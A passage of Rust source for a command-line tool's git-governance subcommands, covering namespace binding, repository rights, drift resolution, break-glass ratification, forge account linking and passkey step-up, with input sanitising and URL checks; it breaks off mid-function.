use clap::{Subcommand, ValueEnum};
use serde_json::{Value, json};
use vta_cli_common::duration::parse_duration_secs;
use vta_cli_common::render::{BOLD, DIM, RESET, bin_name, is_json_output, print_json};
use vtc_client::git_ns::{specs, task_error};
use vtc_client::{HolderKey, VtcClient, VtcError};
use vta_sdk::session::TransportChoice;
use crate::auth;
use crate::vtc::{self as vtc_target, VtcTarget};
type CliResult<T = ()> = Result<T, Box<dyn std::error::Error>>;
#[derive(Subcommand)]
pub enum GitCommands {
Namespace {
#[command(subcommand)]
command: NamespaceCommands,
},
Repos {
#[arg(long)]
namespace: Option<String>,
},
Grant {
#[arg(long)]
subject: String,
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
expires_in: Option<String>,
#[arg(long)]
reason: Option<String>,
},
Revoke {
#[arg(long)]
subject: String,
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
reason: Option<String>,
},
Create {
#[arg(long)]
namespace: String,
name: String,
#[arg(long, value_enum, default_value_t = VisibilityArg::Public)]
visibility: VisibilityArg,
#[arg(long)]
description: Option<String>,
#[arg(long = "owner")]
owners: Vec<String>,
},
Transfer {
resource: String,
#[arg(long)]
to: String,
},
Archive {
resource: String,
},
Adopt {
resource: String,
#[arg(long = "owner", required = true)]
owners: Vec<String>,
},
Drift {
#[command(subcommand)]
command: DriftCommands,
},
Reseat {
namespace: String,
#[arg(long)]
subject: String,
#[arg(long)]
statement: String,
},
BreakGlass {
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
justification: String,
},
EnrolStepUpPasskey {
invite: String,
},
Ratify {
#[arg(long)]
subject: String,
#[arg(long, value_enum)]
right: RightArg,
#[arg(long)]
resource: String,
#[arg(long)]
break_glass_at: String,
#[arg(long)]
statement: Option<String>,
},
BreakGlassList {
#[arg(long)]
resource: Option<String>,
},
Reproject {
resource: String,
#[arg(long)]
reason: Option<String>,
},
View {
#[arg(long)]
resource: Option<String>,
#[arg(long)]
admin: bool,
},
Link {
#[arg(long, required_unless_present_any = ["list", "status"])]
forge: Option<String>,
#[arg(long, conflicts_with_all = ["forge", "status", "no_wait"])]
list: bool,
#[arg(long, value_name = "LINK_ID", conflicts_with = "forge")]
status: Option<String>,
#[arg(long)]
no_wait: bool,
},
Unlink {
#[arg(long)]
forge: String,
#[arg(long)]
account_id: Option<String>,
},
}
#[derive(Subcommand)]
pub enum DriftCommands {
Resolve {
resource: String,
#[arg(value_enum)]
action: DriftAction,
#[arg(long = "type", value_enum)]
kind: DriftTypeArg,
#[arg(long)]
account_id: Option<String>,
#[arg(long)]
account_login: Option<String>,
#[arg(long)]
observed: Option<String>,
#[arg(long)]
subject: Option<String>,
#[arg(long)]
reason: Option<String>,
},
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum DriftAction {
Adopt,
Revert,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum DriftTypeArg {
#[value(name = "roleAdded")]
RoleAdded,
#[value(name = "roleRemoved")]
RoleRemoved,
#[value(name = "roleChanged")]
RoleChanged,
#[value(name = "requiredCheckMissing")]
RequiredCheckMissing,
#[value(name = "protectionWeakened")]
ProtectionWeakened,
#[value(name = "bootstrapMissing")]
BootstrapMissing,
}
impl DriftTypeArg {
fn as_str(self) -> &'static str {
match self {
DriftTypeArg::RoleAdded => "roleAdded",
DriftTypeArg::RoleRemoved => "roleRemoved",
DriftTypeArg::RoleChanged => "roleChanged",
DriftTypeArg::RequiredCheckMissing => "requiredCheckMissing",
DriftTypeArg::ProtectionWeakened => "protectionWeakened",
DriftTypeArg::BootstrapMissing => "bootstrapMissing",
}
}
fn is_role(self) -> bool {
matches!(
self,
DriftTypeArg::RoleAdded | DriftTypeArg::RoleRemoved | DriftTypeArg::RoleChanged
)
}
}
#[allow(clippy::too_many_arguments)]
fn drift_payload(
resource: &str,
action: DriftAction,
kind: DriftTypeArg,
account_id: Option<String>,
account_login: Option<String>,
observed: Option<String>,
subject: Option<String>,
reason: Option<String>,
) -> CliResult<Value> {
let resource = resource.to_lowercase();
let mut drift = json!({ "type": kind.as_str() });
match (kind.is_role(), account_id) {
(true, Some(id)) => {
let forge = resource.split('/').next().unwrap_or_default().to_string();
let login = account_login.unwrap_or_else(|| id.clone());
drift["account"] = json!({ "forge": forge, "id": id, "login": login });
}
(true, None) => {
return Err(format!(
"a `{}` item is selected by its account: pass --account-id",
kind.as_str()
)
.into());
}
(false, Some(_)) => {
return Err(format!("a `{}` item has no account", kind.as_str()).into());
}
(false, None) => {}
}
let action = match action {
DriftAction::Adopt => "adopt",
DriftAction::Revert => "revert",
};
if let Some(o) = observed {
drift["observed"] = json!(o);
} else if action == "adopt" {
return Err(
"adopting records a right derived from the observed role: pass --observed \
with the value `git view` showed"
.into(),
);
}
let mut payload = json!({ "resource": resource, "drift": drift, "action": action });
match (action, subject) {
("adopt", Some(s)) => payload["subject"] = json!(s.trim()),
("adopt", None) => {
return Err(
"adopting records a right for the member linked to the account: pass --subject \
with that member's DID, as `git view --admin` shows it"
.into(),
);
}
(_, Some(_)) => {
return Err(
"a revert changes no right and has no recipient: leave --subject out".into(),
);
}
(_, None) => {}
}
if let Some(r) = reason {
payload["reason"] = json!(r);
}
Ok(payload)
}
#[derive(Subcommand)]
pub enum NamespaceCommands {
Bind {
#[arg(long)]
forge: String,
#[arg(long)]
owner: String,
#[arg(long, value_enum, default_value_t = ModeArg::Manual)]
mode: ModeArg,
},
Unbind {
namespace: String,
},
List,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum VisibilityArg {
Public,
Private,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum ModeArg {
Bridge,
Manual,
}
#[derive(Debug, Clone, Copy, ValueEnum)]
pub enum RightArg {
#[value(name = "git.ns.admin")]
NsAdmin,
#[value(name = "git.repo.create")]
RepoCreate,
#[value(name = "git.repo.own")]
RepoOwn,
#[value(name = "git.repo.maintain")]
RepoMaintain,
#[value(name = "git.commit.sign")]
CommitSign,
}
impl RightArg {
fn as_str(self) -> &'static str {
match self {
RightArg::NsAdmin => "git.ns.admin",
RightArg::RepoCreate => "git.repo.create",
RightArg::RepoOwn => "git.repo.own",
RightArg::RepoMaintain => "git.repo.maintain",
RightArg::CommitSign => "git.commit.sign",
}
}
}
pub(crate) fn signing_key(keyring_key: &str) -> CliResult<(String, HolderKey)> {
let session = auth::loaded_session(keyring_key).ok_or_else(|| {
format!(
"no stored identity for this community profile. Run `{} setup` first.",
bin_name()
)
})?;
let key = HolderKey::from_did_key(&session.client_did, &session.private_key_multibase)
.map_err(|e| format!("this profile's key cannot sign: {e}"))?;
Ok((session.client_did, key))
}
pub(crate) fn did_arg(label: &str, value: &str) -> CliResult<String> {
vta_sdk::identifier::validate_did_core(label, value)?;
Ok(value.to_string())
}
fn shell_word(s: &str) -> String {
let plain = !s.is_empty()
&& !s.starts_with(['-', '=', '%'])
&& s.bytes().all(|b| {
b.is_ascii_alphanumeric()
|| matches!(
b,
b'.' | b'_' | b'-' | b'/' | b':' | b'@' | b'%' | b'+' | b'=' | b','
)
});
if plain {
return s.to_string();
}
if s.is_empty() {
return "''".to_string();
}
let mut out = String::with_capacity(s.len() + 2);
let mut run = String::new();
let flush = |run: &mut String, out: &mut String| {
if !run.is_empty() {
out.push('\'');
out.push_str(run);
out.push('\'');
run.clear();
}
};
for c in s.chars() {
match c {
'\'' => {
flush(&mut run, &mut out);
out.push_str("\"'\"");
}
'\\' => {
flush(&mut run, &mut out);
out.push_str("\"\\\\\"");
}
c => run.push(c),
}
}
flush(&mut run, &mut out);
out
}
pub(crate) fn terminal_safe(s: &str) -> String {
s.chars()
.map(|c| {
if c.is_control() || is_format_char(c) {
'?'
} else {
c
}
})
.collect()
}
fn is_format_char(c: char) -> bool {
matches!(
u32::from(c),
0x00AD
| 0x0600..=0x0605
| 0x061C
| 0x06DD
| 0x070F
| 0x0890..=0x0891
| 0x08E2
| 0x180E
| 0x200B..=0x200F
| 0x202A..=0x202E
| 0x2060..=0x2064
| 0x2066..=0x206F
| 0xFEFF
| 0xFFF9..=0xFFFB
| 0x110BD
| 0x110CD
| 0x13430..=0x1343F
| 0x1BCA0..=0x1BCA3
| 0x1D173..=0x1D17A
| 0xE0001
| 0xE0020..=0xE007F
)
}
fn guidance(code: &str, message: &str, did: &str) -> String {
let bin = shell_word(bin_name());
let (code, message, did) = (
terminal_safe(code),
terminal_safe(message),
terminal_safe(did),
);
let hint = match code.as_str() {
"git-ns:lastOwner" => format!(
"\nA repository always keeps an owner. Name another first:\n {bin} git grant \
--subject <did> --right git.repo.own --resource <repository>\nthen revoke this one."
),
"git-ns/view:notAdministrator"
| "git-ns/namespace/list:notAdministrator"
| "git-ns/repo/list:notAdministrator" => format!(
"\nThe administrator's listings answer a community administrator (every \
namespace) or a namespace's admin (git.ns.admin, that namespace). {did} is \
neither for what you asked. Your own rights are in:\n {bin} git view"
),
"git-ns:lastAdmin" => format!(
"\nA namespace always keeps an admin. Grant another first:\n {bin} git grant \
--subject <did> --right git.ns.admin --resource <namespace>"
),
"permissionDenied" if message.contains("for members of this community") => {
format!("\nOnly a current member links a forge account, and {did} is not one here.")
}
"permissionDenied" if message.contains("elevated_requires_admin") => format!(
"\nUnder the default `[git_ns] elevated_requires_admin`, an owner cannot transfer, \
resign ownership, archive or name a co-owner without a community administrator: \
this VTC has no step-up it can ask a member for yet. Ask a community \
administrator to run it, e.g.:\n {bin} git grant --subject <did> --right \
git.repo.own --resource <repository>"
),
"git-ns:escalation" | "permissionDenied" => format!(
"\nThese commands are authorized by {did}'s own git rights, not by an admin \
session. See what it holds:\n {bin} git view"
),
"git-ns:namespaceNotBound" => "\nThe namespace's binding has not completed: finish \
the step at the URL `namespace bind` printed, then retry."
.to_string(),
"git-ns/namespace/bind:alreadyBound" => {
format!("\nIt is already bound, or binding. See:\n {bin} git namespace list")
}
"git-ns/namespace/bind:noBridge" => "\nNo bridge serves that forge. Bind with \
`--mode manual`, or configure `[git_ns.bridges]` on the VTC."
.to_string(),
"git-ns:unknownRepo" => format!(
"\nThe VTC records no repository there. Bring it under governance first:\n {bin} \
git adopt <resource> --owner <did>"
),
"git-ns/repo/transfer:notOwner" => format!(
"\nA transfer hands over your own ownership record. A namespace admin names an \
owner instead:\n {bin} git grant --subject <did> --right git.repo.own --resource \
<repository>"
),
"git-ns/repo/create:nameTaken" => format!(
"\nThe community already records a repository there. See it:\n {bin} git view \
--resource <resource>"
),
"git-ns/right/revoke:notGranted" => "\nNothing to revoke: no live record matches. \
Implied rights (an owner's commit right, an admin's ownership) are not records."
.to_string(),
"git-ns/drift/resolve:subjectChanged" => format!(
"{message}. The account was linked to someone else after you read it: run `cnm git \
view --admin --resource …` again and decide about the member it names now."
),
"git-ns/drift/resolve:driftNotFound" => format!(
"\nNo outstanding item matches — resolved already, or the forge changed since you \
read it. Read it again:\n {bin} git view --resource <repository>"
),
"git-ns/drift/resolve:notAdoptable" if message.contains("no higher") => format!(
"\nThe forge shows a lower role than the member holds. To accept the lowering, \
revoke the right:\n {bin} git revoke --subject <did> --right <right> --resource \
<repository>\nor revert the item to restore the projected role."
),
"git-ns/drift/resolve:notAdoptable"
| "git-ns/drift/resolve:accountNotLinked"
| "git-ns/drift/resolve:noMatchingRight" => format!(
"\nThis item records no right. Revert it instead:\n {bin} git drift resolve \
<repository> revert --type <type> [--account-id <id>]"
),
"git-ns:roleMapUnknown" => format!(
"\nThe bridge serving this namespace has not reported its role map, so the VTC \
cannot tell which right this forge role stands for, and assumes no default. It \
reports when it starts serving the namespace and whenever it reconnects; a bridge \
older than git-ns/bridge/event 0.3 never does. Adopt once it has reported, or \
revert the role:\n {bin} git drift resolve <repository> revert --type <type> \
[--account-id <id>]"
),
"git-ns/drift/resolve:notRevertible" if message.contains("manual mode") => {
"\nThe namespace is governed in manual mode: no bridge can change the forge. Undo \
the change on the forge yourself."
.to_string()
}
"git-ns/drift/resolve:notRevertible" if message.contains("projection") => format!(
"\nThe account is a member's, and the projection gives it a role here: reverting \
would not remove it. Adopt the forge-side role, or revoke the member's right:\n \
{bin} git revoke --subject <did> --right <right> --resource <repository>"
),
"git-ns/drift/resolve:notRevertible" => "\nThe bridge cannot undo this change: it \
refused the job, or takes neither git-ns/bridge/job 0.4 nor 0.5, the versions this \
VTC sends. Remove it on the forge, or upgrade the bridge."
.to_string(),
"git-ns/account/link:unsupportedForge" => format!(
"\nA link is completed by a bridge, so it needs a bridge-mode namespace on that \
forge; a manual-mode namespace gives nobody a forge role. A community \
administrator can see what is bound:\n {bin} git namespace list"
),
"git-ns/account/unlink:notLinked" => {
format!("\nSee what is linked to {did}:\n {bin} git link --list")
}
"git-ns/account/link-status:unknownLink" => format!(
"\nA link is answered only to the member who began it, and forgotten some days \
after it finishes. Start again:\n {bin} git link --forge <forge>"
),
"git-ns:selfGrantNotAllowed" => "\nThis would give you an elevated right (own, \
repo.create or ns.admin) on your own authority. Ask another community \
administrator to do it, or use break-glass (`cnm git break-glass`), which is \
audited and must be ratified. (A community set up in single-administrator mode \
waives this with your passkey gesture.)"
.to_string(),
"git-ns/right/break-glass:disabled" => "\nThis community's policy has turned \
break-glass off: another administrator must grant the right."
.to_string(),
"git-ns/right/break-glass:notHeadless" => format!(
"\nThe namespace still has an admin; ask them to grant it:\n {bin} git grant \
--subject {did} --right git.ns.admin --resource <namespace>"
),
"git-ns/right/ratify:recordChanged" => format!(
"\nThe break-glass on record is not the one you read. Read it again:\n {bin} git \
break-glass-list"
),
"git-ns/right/ratify:selfRatification" => "\nA break-glass is ratified by another \
administrator, or not at all."
.to_string(),
"git-ns/right/ratify:notBreakGlass" => format!(
"\nNothing to ratify: no unratified break-glass record matches. See:\n {bin} git \
break-glass-list"
),
"git-ns/roles/reproject:manualMode" => "\nThe namespace is governed in manual mode: \
no bridge projects its roles, so set them on the forge yourself."
.to_string(),
"git-ns/roles/reproject:noForgeAccess" => "\nThe bridge lost its access to the \
forge owner. Once an owner reinstalls the app (or restores the bot), run this again."
.to_string(),
"git-ns/namespace/reseat:notHeadless" => format!(
"\nThe namespace still has an admin; its admins grant git.ns.admin:\n {bin} git \
grant --subject <did> --right git.ns.admin --resource <namespace>"
),
_ => String::new(),
};
format!("the community refused it ({code}): {message}{hint}")
}
fn explain(err: VtcError, did: &str) -> Box<dyn std::error::Error> {
match task_error(&err) {
Some((code, message)) => guidance(&code, &message, did).into(),
None => err.to_string().into(),
}
}
fn show<T: serde::Serialize>(value: &T) -> CliResult {
if is_json_output() {
print_json(value)?;
} else {
println!("{}", serde_json::to_string_pretty(value)?);
}
Ok(())
}
fn bind_notice(forge: &str, owner: &str) -> String {
format!(
"Rights granted in {forge}/{owner} will be published to the community's Trust \
Registry: anyone can read who owns and who may commit to each repository."
)
}
async fn announce_then<T>(
out: &mut impl std::io::Write,
notice: &str,
send: impl std::future::Future<Output = T>,
) -> T {
let _ = writeln!(out, "{DIM}{notice}{RESET}");
send.await
}
const LINK_POLL: std::time::Duration = std::time::Duration::from_secs(5);
const LINK_GRACE: chrono::Duration = chrono::Duration::seconds(30);
fn field(v: &Value, pointer: &str) -> String {
terminal_safe(
v.pointer(pointer)
.and_then(Value::as_str)
.unwrap_or_default(),
)
}
fn authorisation_url(v: &Value) -> Result<url::Url, String> {
let raw = v.get("url").and_then(Value::as_str).unwrap_or_default();
let refused = |why: &str| {
format!(
"the community returned an authorisation URL this client will not show ({why}): {}",
terminal_safe(raw)
)
};
let url = url::Url::parse(raw).map_err(|e| refused(&e.to_string()))?;
if url.scheme() != "https" {
return Err(refused("not https"));
}
if url.host_str().is_none_or(str::is_empty) {
return Err(refused("no host"));
}
if !url.username().is_empty() || url.password().is_some() {
return Err(refused("it carries credentials"));
}
Ok(url)
}
fn link_instructions(forge: &str, v: &Value) -> Result<String, String> {
let url = authorisation_url(v)?;
let bin = shell_word(bin_name());
let link_id = v.get("linkId").and_then(Value::as_str).unwrap_or_default();
let mut out = format!(
"Authorise the link on {}:\n {}\n",
terminal_safe(forge),
terminal_safe(url.as_str())
);
if v.get("userCode").and_then(Value::as_str).is_some() {
out.push_str(&format!(
"and enter the code {BOLD}{}{RESET}\n",
field(v, "/userCode")
));
}
out.push_str(&format!(
"{DIM}The link lapses at {}. Follow it later with:\n {bin} git link --status {}{RESET}",
field(v, "/expiresAt"),
shell_word(&terminal_safe(link_id))
));
Ok(out)
}
#[derive(Debug, PartialEq, Eq)]
enum LinkEnd {
Linked(String),
NotLinked(String),
}
fn link_end(v: &Value, did: &str, link_id: &str) -> LinkEnd {
let bin = shell_word(bin_name());
let did = terminal_safe(did);
match v.get("state").and_then(Value::as_str) {
Some("linked") => LinkEnd::Linked(format!(
"Linked {} account {BOLD}{}{RESET} (id {}) to {did}.",
field(v, "/account/forge"),
field(v, "/account/login"),
field(v, "/account/id"),
)),
Some("pending") => LinkEnd::NotLinked(format!(
"the link is still pending: it has not been authorised on the forge yet. Follow \
it with:\n {bin} git link --status {}",
shell_word(&terminal_safe(link_id))
)),
Some("expired") => LinkEnd::NotLinked(format!(
"the link lapsed before it was authorised. Start again:\n {bin} git link --forge \
<forge>"
)),
Some("failed") => LinkEnd::NotLinked(format!(
"the link failed: the forge refused it (the authorisation was declined, or the \
bridge could not complete it), or the account is already linked to another \
member. See what is linked to {did}:\n {bin} git link --list\nand start again \
with:\n {bin} git link --forge <forge>"
)),
other => LinkEnd::NotLinked(format!(
"the community answered a link state this client does not know: {}",
terminal_safe(other.unwrap_or("(none)"))
)),
}
}
fn finish_link(
out: &mut impl std::io::Write,
json_mode: bool,
v: &Value,
did: &str,
link_id: &str,
) -> CliResult {
let end = link_end(v, did, link_id);
if json_mode {
writeln!(out, "{}", serde_json::to_string_pretty(v)?)?;
}
match end {
LinkEnd::Linked(line) => {
if !json_mode {
writeln!(out, "{line}")?;
}
Ok(())
}
LinkEnd::NotLinked(why) => Err(why.into()),
}
}
fn account_lines(accounts: &Value) -> Vec<String> {
accounts
.as_array()
.into_iter()
.flatten()
.map(|a| {
format!(
"{BOLD}{}{RESET} {} id {} {DIM}linked {}{RESET}",
field(a, "/account/forge"),
field(a, "/account/login"),
field(a, "/account/id"),
field(a, "/linkedAt"),
)
})
.collect()
}
fn linked_account_id(accounts: &Value, forge: &str) -> Option<String> {
accounts
.as_array()?
.iter()
.find(|a| a.pointer("/account/forge").and_then(Value::as_str) == Some(forge))?
.pointer("/account/id")
.and_then(Value::as_str)
.map(str::to_string)
}
fn unlink_line(v: &Value, did: &str) -> String {
format!(
"Unlinked {} account {BOLD}{}{RESET} (id {}) from {}. The bridge withdraws the forge \
roles it gave that account; your git rights are unchanged.",
field(v, "/unlinked/forge"),
field(v, "/unlinked/login"),
field(v, "/unlinked/id"),
terminal_safe(did),
)
}
async fn follow<P, PF, S, SF>(
mut poll: P,
deadline: Option<chrono::DateTime<chrono::Utc>>,
now: impl Fn() -> chrono::DateTime<chrono::Utc>,
mut sleep: S,
) -> CliResult<Value>
where
P: FnMut() -> PF,
PF: std::future::Future<Output = CliResult<Value>>,
S: FnMut() -> SF,
SF: std::future::Future<Output = ()>,
{
loop {
let v = poll().await?;
if v.get("state").and_then(Value::as_str) != Some("pending") {
return Ok(v);
}
if deadline.is_some_and(|d| now() > d + LINK_GRACE) {
return Ok(v);
}
sleep().await;
}
}
async fn follow_link(
client: &VtcClient,
key: &HolderKey,
did: &str,
link_id: &str,
deadline: Option<chrono::DateTime<chrono::Utc>>,
) -> CliResult<Value> {
follow(
|| async {
Ok(serde_json::to_value(
client
.git_ns_link_status(link_id, key)
.await
.map_err(|e| explain(e, did))?,
)?)
},
deadline,
chrono::Utc::now,
|| tokio::time::sleep(LINK_POLL),
)
.await
}
fn base64url(bytes: &[u8]) -> String {
const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
let mut out = String::with_capacity(bytes.len().div_ceil(3) * 4);
for chunk in bytes.chunks(3) {
let b = [
chunk[0],
chunk.get(1).copied().unwrap_or(0),
chunk.get(2).copied().unwrap_or(0),
];
let n = (u32::from(b[0]) << 16) | (u32::from(b[1]) << 8) | u32::from(b[2]);
let chars = chunk.len() + 1;
for i in 0..chars {
out.push(A[((n >> (18 - 6 * i)) & 63) as usize] as char);
}
}
out
}
fn console_url(base: &str, page: &str) -> String {
match url::Url::parse(base) {
Ok(mut u) if u.has_host() => {
u.set_path(&format!("/admin/{page}"));
u.set_query(None);
u.set_fragment(None);
u.to_string()
}
_ => format!("{}/admin/{page}", base.trim_end_matches('/')),
}
}
fn step_up_url(base: &str, request: &Value) -> String {
let json = serde_json::to_vec(request).unwrap_or_default();
format!(
"{}#request={}",
console_url(base, "step-up"),
base64url(&json)
)
}
async fn send_with_step_up(
client: &VtcClient,
base: &str,
type_uri: &str,
doc: &str,
did: &str,
key: &HolderKey,
) -> CliResult<Value> {
for _ in 0..3 {
match client.git_ns_send_signed::<Value>(type_uri, doc).await {
Ok(v) => return Ok(v),
Err(e) => {
let Some(req) = vtc_client::git_ns::step_up_request(&e) else {
return Err(explain(e, did));
};
if let Some(note) = task_error(&e).and_then(|(_, m)| single_admin_step_up_note(&m))
{
eprintln!("{note}");
}
let reason = terminal_safe(req["reason"].as_str().unwrap_or_default());
let bound = terminal_safe(req["boundTo"].as_str().unwrap_or_default());
eprintln!(
"{BOLD}This needs a passkey gesture bound to this one request.{RESET}\n \
{reason}\n bound to: {bound}\nOpen this in a browser and confirm with \
your passkey — a console passkey, or the step-up passkey a community \
administrator invited you to enrol (no sign-in needed):\n {}\nPaste the \
answer code the page shows and press Enter; if the page says the gesture \
is recorded, just press Enter (within five minutes).",
step_up_url(base, &req)
);
let mut line = String::new();
std::io::stdin().read_line(&mut line)?;
let answer = line.trim();
if !answer.is_empty() {
answer_step_up(client, &req, answer, key).await?;
}
}
}
}
Err("the step-up was not completed; nothing was changed".into())
}
fn single_admin_step_up_note(message: &str) -> Option<String> {
message.contains("single-administrator mode").then(|| {
format!(
"{BOLD}Single-administrator mode:{RESET} this would record an elevated right for you, which separation of duties normally leaves to another administrator. This community runs as one administrator, so your passkey gesture stands in for another, and the VTC audits it at Critical."
)
})
}
fn self_grant_waived_note(answer: &Value) -> Option<String> {
let w = vtc_client::git_ns::self_grant_waived(answer)?;
Some(format!(
"{BOLD}Single-administrator waiver applied:{RESET} {} on {} was recorded for you on your own passkey gesture, because nobody else in this community could grant it (VTI-APV-022). The VTC wrote a Critical audit row, and the record stays marked as self-granted under single-administrator mode.",
terminal_safe(w["right"].as_str().unwrap_or("the right")),
terminal_safe(w["resource"].as_str().unwrap_or("the resource")),
))
}
pub(crate) async fn send_change<P: serde::Serialize>(
client: &VtcClient,
base: &str,
type_uri: &str,
payload: &P,
did: &str,
key: &HolderKey,
) -> CliResult<Value> {
let doc = client.git_ns_sign(type_uri, payload, key).await?;
let v = send_with_step_up(client, base, type_uri, &doc, did, key).await?;
if let Some(note) = self_grant_waived_note(&v) {
eprintln!("{note}");
}
Ok(v)
}
const ANSWER_CODE_PREFIX: &str = "sua1.";
fn assertion_from_answer_code(code: &str) -> CliResult<Value> {
let rest = code.strip_prefix(ANSWER_CODE_PREFIX).ok_or(
"that is not an answer code from the step-up page (it starts with `sua1.`); copy it again",
)?;
let parts: Vec<&str> = rest.split('.').collect();
let b64url = |s: &str| {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || b == b'-' || b == b'_')
};
if !(4..=5).contains(&parts.len()) || !parts.iter().all(|p| b64url(p)) {
return Err("that answer code is incomplete or damaged; copy all of it again".into());
}
let mut response = json!({
"authenticatorData": parts[1],
"clientDataJSON": parts[2],
"signature": parts[3],
});
if let Some(handle) = parts.get(4) {
response["userHandle"] = json!(handle);
}
Ok(json!({
"id": parts[0],
"rawId": parts[0],
"type": "public-key",
"response": response,
"clientExtensionResults": {},
}))
}
async fn answer_step_up(
client: &VtcClient,
request: &Value,
answer: &str,
key: &HolderKey,
) -> CliResult {
let subject = request["subject"].as_str().unwrap_or_default();
if subject != key.holder_did() {
return Err(format!(
"this step-up was asked of {}, not of this profile ({})",
terminal_safe(subject),
key.holder_did()
)
.into());
}
let payload = json!({
"subject": subject,
"challenge": request["challenge"],
"decision": "approved",
"evidence": { "kind": "webauthn", "assertion": assertion_from_answer_code(answer)? },
});
let type_uri = vtc_client::git_ns::STEP_UP_APPROVE_RESPONSE_TYPE;
let doc = client.git_ns_sign(type_uri, &payload, key).await?;
let ack: Value = client
.git_ns_send_signed(type_uri, &doc)
.await
.map_err(|e| explain(e, key.holder_did()))?;
match ack["status"].as_str() {
Some("recorded") => Ok(()),
_ => Err(format!(
"the community did not record the gesture: {}",
terminal_safe(ack["reason"].as_str().unwrap_or("no reason given"))
)
.into()),
}
}
fn invite_token(invite: &str) -> CliResult<String> {
let invite = invite.trim();
let token = match invite.split_once("#token=") {
Some((_, t)) => t.split('&').next().unwrap_or_default(),
None => invite,
};
let ok = (16..=512).contains(&token.len())
&& token
.bytes()
.all(|b| b.is_ascii_alphanumeric() || b == b'-' || b == b'_');
if !ok {
return Err(
"that is not a step-up passkey invite: paste the whole link the administrator sent"
.into(),
);
}
Ok(token.to_string())
}
fn enrol_url(base: &str, started: &Value) -> String {
let json = serde_json::to_vec(started).unwrap_or_default();
format!(
"{}#enrollment={}",
console_url(base, "enrol-step-up"),
base64url(&json)
)
}
fn break_glass_flag(record: &Value) -> String {
let Some(bg) = record.get("breakGlass").filter(|v| v.is_object()) else {
return String::new();
};
match bg.get("ratifiedBy").and_then(Value::as_str) {
Some(by) => format!(" [break-glass, ratified by {}]", terminal_safe(by)),
None => format!(
" {BOLD}[BREAK-GLASS, UNRATIFIED since {}]{RESET}",
terminal_safe(bg["at"].as_str().unwrap_or_default())
),
}
}
fn break_glass_items(view: &Value, now: chrono::DateTime<chrono::Utc>) -> Vec<Value> {
let namespace_of = |resource: &str| {
let ns_resource: String = resource
.splitn(3, '/')
.take(2)
.collect::<Vec<_>>()
.join("/");
view["namespaces"]
.as_array()
.into_iter()
.flatten()
.find(|n| {
format!(
"{}/{}",
n["forge"].as_str().unwrap_or_default(),
n["owner"].as_str().unwrap_or_default()
) == ns_resource
})
.and_then(|n| n["id"].as_str())
.map(str::to_string)
};
let mut items: Vec<Value> = view["rights"]
.as_array()
.into_iter()
.flatten()
.filter(|r| r.get("breakGlass").is_some_and(Value::is_object))
.map(|r| {
let bg = &r["breakGlass"];
let pending = bg["effectiveAt"]
.as_str()
.and_then(|t| chrono::DateTime::parse_from_rfc3339(t).ok())
.is_some_and(|t| t > now);
let state = if bg.get("ratifiedBy").is_some_and(|v| !v.is_null()) {
"ratified"
} else if pending {
"pending"
} else {
"unratified"
};
let mut it = r.clone();
it["state"] = state.into();
if let Some(ns) = namespace_of(r["resource"].as_str().unwrap_or_default()) {
it["namespace"] = ns.into();
}
it
})
.collect();
items.sort_by(|a, b| {
(a["state"] == "ratified")
.cmp(&(b["state"] == "ratified"))
.then_with(|| {
b.pointer("/breakGlass/at")
.and_then(Value::as_str)
.cmp(&a.pointer("/breakGlass/at").and_then(Value::as_str))
})
});
items
}
fn ratify_command(record: &Value) -> String {
format!(
"{} git ratify --subject={} --right={} --resource={} --break-glass-at={}",
shell_word(bin_name()),
shell_word(record["subject"].as_str().unwrap_or_default()),
shell_word(record["right"].as_str().unwrap_or_default()),
shell_word(record["resource"].as_str().unwrap_or_default()),
shell_word(
record
.pointer("/breakGlass/at")
.and_then(Value::as_str)
.unwrap_or_default()
),
)
}
pub async fn run(
command: GitCommands,
keyring_key: &str,
target: &VtcTarget,
transport: TransportChoice,
) -> CliResult {
let vtc = vtc_target::connect_for_tasks(keyring_key, target, transport).await?;
let outcome = run_task(command, &vtc.client, keyring_key, target).await;
vtc.client.shutdown().await;
outcome
}
async fn run_task(
command: GitCommands,
client: &VtcClient,
keyring_key: &str,
target: &VtcTarget,
) -> CliResult {
match command {
GitCommands::Namespace { command } => match command {
NamespaceCommands::Bind { forge, owner, mode } => {
let (did, key) = signing_key(keyring_key)?;
let mode = match mode {
ModeArg::Bridge => "bridge",
ModeArg::Manual => "manual",
};
let (forge, owner) = (forge.to_lowercase(), owner.to_lowercase());
let resp = announce_then(
&mut std::io::stderr(),
&bind_notice(&forge, &owner),
client.git_ns_bind(&forge, &owner, mode, &key),
)
.await
.map_err(|e| explain(e, &did))?;
let v = serde_json::to_value(&resp)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
println!(
"{BOLD}{}/{}{RESET} — {} ({})",
v["namespace"]["forge"].as_str().unwrap_or_default(),
v["namespace"]["owner"].as_str().unwrap_or_default(),
v["namespace"]["state"].as_str().unwrap_or_default(),
v["namespace"]["id"].as_str().unwrap_or_default(),
);
if let Some(url) = v.pointer("/next/url").and_then(Value::as_str) {
println!("Prove control of the owner on the forge to finish binding:\n {url}");
}
Ok(())
}
NamespaceCommands::Unbind { namespace } => {
let (did, key) = signing_key(keyring_key)?;
let resp = client
.git_ns_unbind(&namespace, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
NamespaceCommands::List => {
let (did, key) = signing_key(keyring_key)?;
let v = client
.git_ns_namespace_list(None, &key)
.await
.map_err(|e| explain(e, &did))?;
if is_json_output() {
return Ok(print_json(&v)?);
}
let namespaces = v["namespaces"].as_array().cloned().unwrap_or_default();
if namespaces.is_empty() {
println!("No namespaces.");
}
for ns in &namespaces {
println!(
"{BOLD}{}{RESET} {} {} {} admins: {} repos: {}{}",
terminal_safe(ns["resource"].as_str().unwrap_or_default()),
terminal_safe(ns["id"].as_str().unwrap_or_default()),
ns["mode"].as_str().unwrap_or_default(),
